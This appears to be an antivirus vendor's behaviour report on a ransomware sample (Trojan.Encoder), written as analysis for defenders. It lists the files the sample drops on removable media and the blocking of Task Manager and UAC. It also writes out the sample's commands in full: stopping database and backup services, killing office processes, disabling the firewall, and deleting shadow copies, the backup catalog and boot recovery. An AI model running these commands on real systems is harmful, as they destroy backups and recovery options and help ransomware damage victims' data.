Technical Information
To ensure autorun and distribution
Creates the following files on removable media
- <Drive name for removable media>:\split.avi
- <Drive name for removable media>:\000814251_video_01.avi
- <Drive name for removable media>:\join.avi
- <Drive name for removable media>:\delete.avi
- <Drive name for removable media>:\dialmap.bmp
- <Drive name for removable media>:\dashborder_144.bmp
- <Drive name for removable media>:\dial.bmp
- <Drive name for removable media>:\coffee.bmp
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
blocks the following features:
- User Account Control (UAC)
deletes volume shadow copies.
Executes the following
- '%WINDIR%\syswow64\net.exe' stop DbxSvc
- '%WINDIR%\syswow64\taskkill.exe' /f /im sql.*
- '%WINDIR%\syswow64\netsh.exe' firewall set opmode disable
- '%WINDIR%\syswow64\net.exe' stop OracleXETNSListener
- '%WINDIR%\syswow64\net.exe' stop OracleServiceXE
- '%WINDIR%\syswow64\net.exe' stop AcrSch2Svc
- '%WINDIR%\syswow64\net.exe' stop AcronisAgent
- '%WINDIR%\syswow64\net.exe' stop Apache2.4
- '%WINDIR%\syswow64\net.exe' stop SQLWriter
- '%WINDIR%\syswow64\net.exe' stop MSSQL$SQLEXPRESS
- '%WINDIR%\syswow64\net.exe' stop MSSQLServerADHelper100
- '%WINDIR%\syswow64\net.exe' stop MongoDB
- '%WINDIR%\syswow64\net.exe' stop SQLAgent$SQLEXPRESS
- '%WINDIR%\syswow64\taskkill.exe' /f /im winword.*
Modifies file system
Creates the following files
- <DRIVERS>\etc\host
Modifies user data files (Trojan.Encoder).
Changes user data files extensions (Trojan.Encoder).
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /C netsh firewall set opmode disable' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.*...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS ...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog ...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C netsh firewall set opmode disable
- '%WINDIR%\syswow64\net1.exe' stop MSSQLServerADHelper100
- '%WINDIR%\syswow64\net1.exe' stop MSSQL$SQLEXPRESS
- '%WINDIR%\syswow64\net1.exe' stop SQLWriter
- '%WINDIR%\syswow64\net1.exe' stop Apache2.4
- '%WINDIR%\syswow64\net1.exe' stop AcronisAgent
- '%WINDIR%\syswow64\net1.exe' stop AcrSch2Svc
- '%WINDIR%\syswow64\net1.exe' stop OracleServiceXE
- '<SYSTEM32>\vssvc.exe'
- '%WINDIR%\syswow64\net1.exe' stop OracleXETNSListener
- '%WINDIR%\syswow64\net1.exe' stop DbxSvc
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog ...
- '%WINDIR%\syswow64\cmd.exe' /C net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS ...
- '%WINDIR%\syswow64\cmd.exe' /C taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.*...
- '%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded
- '%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\net1.exe' stop MongoDB
- '%WINDIR%\syswow64\net1.exe' stop SQLAgent$SQLEXPRESS
